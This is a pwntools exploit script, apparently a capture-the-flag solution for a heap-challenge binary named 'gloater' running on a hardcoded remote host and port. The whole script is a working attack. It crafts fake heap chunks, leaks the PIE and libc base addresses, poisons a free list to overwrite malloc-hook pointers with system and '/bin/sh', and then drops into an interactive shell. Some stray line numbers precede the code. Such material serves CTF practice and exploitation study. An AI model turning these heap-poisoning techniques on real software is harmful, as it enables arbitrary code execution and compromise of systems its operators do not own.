117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python3
from pwn import *
#convenience Functions
sa      = lambda delim,data         :io.sendafter(delim, data, timeout=context.timeout)
sla     = lambda delim,data         :io.sendlineafter(delim, data, timeout=context.timeout)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop, timeout=context.timeout)
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

# Exploit configs
binary = ELF('/home/ctf/gloater')
host = '94.237.59.102'
port = 48388
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

def launch_gdb(breakpoints=[], cmds=[]):
    if args.NOPTRACE:
        return

    info("Attaching Debugger")
    cmds.append('handle SIGALRM ignore')
    for b in breakpoints:
        if binary.address == 0:
            warning("Setting relative Breakpoints but binary has not been rebased")
        cmds.insert(0,'b *' + str(binary.address + b))
    gdb.attach(io, gdbscript='\n'.join(cmds))
    #time.sleep(2) # Wait for gdb to start, dirty hacks are dirty


def update(data):
    sla(b'> ', b'1')
    sa(b'User: ', data)

def create(target, data, skip = False):
    sla(b'> ', b'2')
    sa(b'target: ', target)
    if not skip:
        sa(b'Taunt: ', data)

def remove(idx):
    sla(b'> ', b'3')
    sla(b'Index: ', idx)

def setsuper(idx, data): # or as i call, getleak
    sla(b'> ', b'5')
    sla(b'Taunt:', idx)
    sa(b'taunt:', data)
    return ru(b'Registered')

def pieleak():
    pieleak = uu64(setsuper(b'0', b'D'*0x58)[-7:-1])
    binary.address = pieleak - 0x1a85
    success(f"LEAK {hex(pieleak)}")
    success(f"PIE  {hex(binary.address)}")
    print(f"data @ {hex(binary.symbols['user'])}")
    return

def libcleak():
    leak = uu64(setsuper(b'0', b'D'*0x88)[-7:-1])
    if not args.REMOTE:
        libc.address = leak-0x84420
    else:
        libc.address = leak-0x875a0
    success(f"LEAK {hex(leak)}")
    success(f"LIBC {hex(libc.address)}")

if __name__ == '__main__':
    # call with REMOTE to run against live target

    if args.REMOTE:
        args.NOPTRACE = True # disable gdb when working remote
        io = remote(host, port)
    else:
        context.terminal = ['tmux', 'splitw', '-h']
        io = process('/home/ctf/gloater')

    if not args.REMOTE:
        for mmap in open('/proc/{}/maps'.format(io.pid),"rb").readlines():
            mmap = mmap.decode()
            if binary.path.split('/')[-1] == mmap.split('/')[-1][:-1]:
                binary.address = int(mmap.split('-')[0],16)
                break
    sa(b'> ', b'A')
    launch_gdb(breakpoints=[0x1313], cmds=['c'])

    # === Align Heap to start at some low 0xY3XX Address

    create(b'A', b'B'*0x1F, True)
    create(b'A', b'B'*0x1F, True)
    create(b'A', b'B'*0x1F, True)
    # ======
    create(b'B'*24+b'\x31', p64(0)*3+b'B'*(0x2F-24)) # Fake Chunks are fake
    create(b'C'*0x1F, b'C'*0x2F)
    create(b'D'*0x1F, b'D'*0x2F)
    create(b'E'*0x1F, b'D'*0x1F)
    remove(b'2') # Yo this is crucial and I dont know why, lul
    pieleak()
    info('remove Taunt 0')
    remove(b'0')
    info('Ovewrite Taunt 1')
    update(b'A'*12+b'\x50')
    info('Remove Taunt 1 (Fakechunk)')
    remove(b'1')

    info(f'Create Taunt 3 - Overwrite FD with {hex(binary.symbols["user_changed"])}')
    create(b'X'*16+p64(binary.symbols['super_taunt']),b'Y'*0x3F)

    info('Create Taunt 4 - Allocate 0x2F Chunk to pop FD to top')
    create(b'AAAAA', b'Z'*0x2F)
    info('Create Taunt 5 - Write at faked FD')
    info('create 0')
    create(b'XXXXXXXX', p64(0)+p64(0)+p64(0x00007fffffffffff)+p64(0x00007f0000000000)+p64(0)+p64(0))

    # ==== STAGE 2 =====
    info('create 1')
    create(b'B'*0x1F, b'B'*0x2F)
    info('create 2')
    create(b'C'*24+b'\x31', p64(0)*3+b'C'*(0x2F-24))
    info('create 3')
    create(b'D'*0x1F, b'D'*0x2F)
    remove(b'3') #You know why, right? :D
    libcleak()

    info('remove Taunt 2')
    remove(b'2')
    info('Ovewrite Taunt 1')
    update(b'A'*12+b'\xc0')
    info('Remove Taunt 1 (Fakechunk)')
    remove(b'1')

    info(f'Create Taunt 4 - Overwrite FD with {hex(binary.symbols["old_free_hook"])}')
    create(b'X'*16+p64(binary.symbols['old_malloc_hook']+8),b'Y'*0x3F)
    info('Create Taunt 5 - Allocate 0x2F Chunk to pop FD to top')
    create(b'AAAAA', b'/bin/sh\x00'*6)
    info('Create Taunt 6 - Write at faked FD')
    create(b'AAAAA', p64(libc.symbols['system'])+p64(5)+p64(0x00007fffffffffff)+p64(0x00007f0000000000)+p64(0)*2)
    io.interactive()